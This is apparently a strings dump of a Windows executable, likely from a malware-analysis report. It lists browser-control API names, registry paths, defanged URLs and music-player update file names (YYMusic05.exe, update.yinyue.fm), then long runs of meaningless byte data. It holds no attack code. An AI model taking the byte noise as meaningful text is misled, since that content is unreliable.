HTTPS

HTTPS

https

https

This request method is supported in HTTP 1.1

This request method is supported in HTTP 1.1

HTTP/1.0 200 OK

HTTP/1.0 200 OK

HTTP/

HTTP/

grfKeyState

grfKeyState

TComTargetExecEvent

TComTargetExecEvent

CmdGroup

CmdGroup

nCmdID

nCmdID

nCmdexecopt

nCmdexecopt

hhctrl.ocx

hhctrl.ocx

URLMON.DLL

URLMON.DLL

SHDOCLC.DLL

SHDOCLC.DLL

IWebBrowser

IWebBrowser

IWebBrowserApph

IWebBrowserApph

IWebBrowser2

IWebBrowser2

TEWBWindowSetResizable

TEWBWindowSetResizable

TEWBWindowSetLeft

TEWBWindowSetLeft

TEWBWindowSetTop

TEWBWindowSetTop

TEWBWindowSetWidth

TEWBWindowSetWidth

TEWBWindowSetHeight

TEWBWindowSetHeight

bstrUrlContext

bstrUrlContext

bstrUrl

bstrUrl

OnWindowSetResizable

OnWindowSetResizable

OnWindowSetLeft

OnWindowSetLeft

OnWindowSetTopT

OnWindowSetTopT

OnWindowSetWidth

OnWindowSetWidth

OnWindowSetHeight

OnWindowSetHeight

rcmDefault

rcmDefault

rcmDebug

rcmDebug

DontExecuteScripts

DontExecuteScripts

DontExecuteJava

DontExecuteJava

DontExecuteActiveX

DontExecuteActiveX

DisableUrlIfEncodingUTF8

DisableUrlIfEncodingUTF8

EnableUrlIfEncodingUTF8

EnableUrlIfEncodingUTF8

CheckFontSupportsCodePage

CheckFontSupportsCodePage

DisableSubmitUrlInUTF8

DisableSubmitUrlInUTF8

EnableSubmitUrlInUTF8

EnableSubmitUrlInUTF8

lpMsg

lpMsg

PMsg

PMsg

pguidCmdGroup

pguidCmdGroup

TTranslateUrlEvent

TTranslateUrlEvent

pchURLIn

pchURLIn

ppchURLOut

ppchURLOut

CmdID

CmdID

pszUrl

pszUrl

pszUrlContext

pszUrlContext

szPassWord

szPassWord

ErrorUrl

ErrorUrl

OptionKeyPath

OptionKeyPath

OverrideOptionKeyPath`

OverrideOptionKeyPath`

OnTranslateUrl

OnTranslateUrl

OnCommandExec

OnCommandExec

'%s' is not supported.

'%s' is not supported.

WebocPopupManagement

WebocPopupManagement

ValidateNavigateUrl

ValidateNavigateUrl

HttpUsernamePasswordDisable

HttpUsernamePasswordDisable

GetUrlDomFilePathUnencoded

GetUrlDomFilePathUnencoded

XmlHttp

XmlHttp

MAPI32.DLL

MAPI32.DLL

PTF://

PTF://

hXXp://

hXXp://

hXXps://

hXXps://

AppEvents\Schemes\Apps\Explorer\Navigating\.Current

AppEvents\Schemes\Apps\Explorer\Navigating\.Current

.Current

.Current

\ieframe.dll

\ieframe.dll

\shdocvw.dll

\shdocvw.dll

\StringFileInfo\%0.4x%0.4x\%s

\StringFileInfo\%0.4x%0.4x\%s

TMsgEvent

TMsgEvent

TKeyEventEx

TKeyEventEx

Bypass

Bypass

poPortrait

poPortrait

OnKeyDown

OnKeyDown

0.750000

0.750000

3333333

3333333

\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent

\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent

\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform

\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform

User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)(

User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)(

EmbeddedWB hXXp://bsalsa.com/

EmbeddedWB hXXp://bsalsa.com/

TFileOperation

TFileOperation

FileOperation

FileOperation

OnActionExecute

OnActionExecute

SysConfig.ini

SysConfig.ini

WJHTTP

WJHTTP

%d.%d

%d.%d

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

0123456789

0123456789

DSound.dll

DSound.dll

Winmm.dll

Winmm.dll

Data\User2.ini

Data\User2.ini

88888888

88888888

Update.zip

Update.zip

00000000

00000000

YYMusic05.exe

YYMusic05.exe

DMSet.Xml

DMSet.Xml

/DM11/DMSet.Xml

/DM11/DMSet.Xml

hXXp://VVV.baidu.com

hXXp://VVV.baidu.com

hXXp://update.yinyue.fm

hXXp://update.yinyue.fm

8888-88-88

8888-88-88

PlayerUpdate.exe

PlayerUpdate.exe

0000-00-00

0000-00-00

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

[(*&^%$#@!)]

[(*&^%$#@!)]

?456789:;

?456789:;

!"#$%&'()* ,-./0123

!"#$%&'()* ,-./0123

Nv.QbD

Nv.QbD

{Z|.qktg

{Z|.qktg

)sVk.eU

)sVk.eU

?:4.al\u

?:4.al\u

ac.Rp

ac.Rp

U%U,f

U%U,f

ù%"

ù%"

6QZ.kkE!^\

6QZ.kkE!^\

.Cee,Wm

.Cee,Wm

AKLRUXZZjjjjjjjjmjjZZXURLK"

AKLRUXZZjjjjjjjjmjjZZXURLK"

%S_dikkggggk

%S_dikkggggk

%Uagkk`F9?nA>H^

%Uagkk`F9?nA>H^

333333333333333333

333333333333333333

33333833

33333833

3333339

3333339

3333333333333338

3333333333333338

:*"*"$3338

:*"*"$3338

33333333

33333333

33333333333

33333333333

3333333333338

3333333333338

33338?383

33338?383

333333333333

333333333333

:*3:"$3338

:*3:"$3338

333333333333333

333333333333333

@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(

@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(

@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(

@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(

=4'=4'=4'=4'=4'=4'=4'=4'=4'=4'=4'

=4'=4'=4'=4'=4'=4'=4'=4'=4'=4'=4'

=4'=4'=4'=4'=4'=4'=4'=4'=4'=4'

=4'=4'=4'=4'=4'=4'=4'=4'=4'=4'

@4(@4(@4(@4(@4(@4(=4'=4'=4'=4'=4'

@4(@4(@4(@4(@4(@4(=4'=4'=4'=4'=4'

=4'=4'=4'=4'=4'

=4'=4'=4'=4'=4'

peWO@0RD.NA1

peWO@0RD.NA1

N?/N?/N?/N?/N?/N?/N?/N?/N?/O?.N?/M>.PA1

N?/N?/N?/N?/N?/N?/N?/N?/N?/O?.N?/M>.PA1

NA1PA.OA/

NA1PA.OA/

OA.SB-O@0OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2SC3RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB1RB1SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2RB1SC2RB1RB1QA0RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2TD3TD3TD3TD3TD3TD3TD3TD3TD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3UC2UC2UC2UC2UC2TB1UC2UC2UC2UC2UC2UC2UC2UC2UC2UC2VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3WF3WF3WF3WF3WF3VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3XG4XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5XI6XI6VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4YH5YH5XG4XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]J5]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4^L5]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4^I3^J1^J1^J1^J1^J1^J1^J1^J1^J1^J1^J1_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2^J1^J1^J1^J1^J1^J1^J1^J1_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2^J1`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3_K2`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3aM4aM4aM4aM4aM4aM4aM4aM4cM4cM4cM4cM4cM4

OA.SB-O@0OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2SC3RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB1RB1SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2RB1SC2RB1RB1QA0RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2TD3TD3TD3TD3TD3TD3TD3TD3TD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3UC2UC2UC2UC2UC2TB1UC2UC2UC2UC2UC2UC2UC2UC2UC2UC2VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3WF3WF3WF3WF3WF3VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3XG4XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5XI6XI6VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4YH5YH5XG4XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]J5]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4^L5]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4^I3^J1^J1^J1^J1^J1^J1^J1^J1^J1^J1^J1_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2^J1^J1^J1^J1^J1^J1^J1^J1_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2^J1`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3_K2`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3aM4aM4aM4aM4aM4aM4aM4aM4cM4cM4cM4cM4cM4

zoaI>0K=1M=0M>.kbX

zoaI>0K=1M=0M>.kbX

RH>J=/J=/J=/J=/K>0J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/L=-L=-L=-L=-L>,L>,L=-L=-L=-L=-L=-M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/N@.N@.N@.N@.N@.N@.N@.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/QA0QA0QA0QA0P@/QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0P@/P@/P@/P@/P@/P@/P@/P@/QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1UC2UC2UC2UC2UC2UC2UC2UC2UC2UC2UD1UD1UD1UD1UD1UD1UD1UD1VE2VE2VE2UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2TE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3WF3VE2VE2VE2VE2VE2VE2WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3XG4XG4WF3WF3YE3XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1[F1]F0]F0

RH>J=/J=/J=/J=/K>0J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/L=-L=-L=-L=-L>,L>,L=-L=-L=-L=-L=-M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/N@.N@.N@.N@.N@.N@.N@.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/QA0QA0QA0QA0P@/QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0P@/P@/P@/P@/P@/P@/P@/P@/QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1UC2UC2UC2UC2UC2UC2UC2UC2UC2UC2UD1UD1UD1UD1UD1UD1UD1UD1VE2VE2VE2UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2TE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3WF3VE2VE2VE2VE2VE2VE2WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3XG4XG4WF3WF3YE3XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1[F1]F0]F0

g]SF9 E8*E8*E8*E8*F9 E8*E8*E8*E8*E8*E8*E8*E8*E8*E8*E8*F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,E:,E:,G:,G:,G:,F9 F9 F9 F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:*H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; I.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.N>-N>-O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.N>-N>-N>-O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/RA.RA.R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/SA0SA0SA0SA0SA0TB1TB1TB1TB1TB1TB1TB1TB1SA0SA0SA0SA0SA0SA0SA0SA0R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/P@/P@/QB/QB/QB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/QB/QB/QB/QB/QB/QB/QB/QB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.R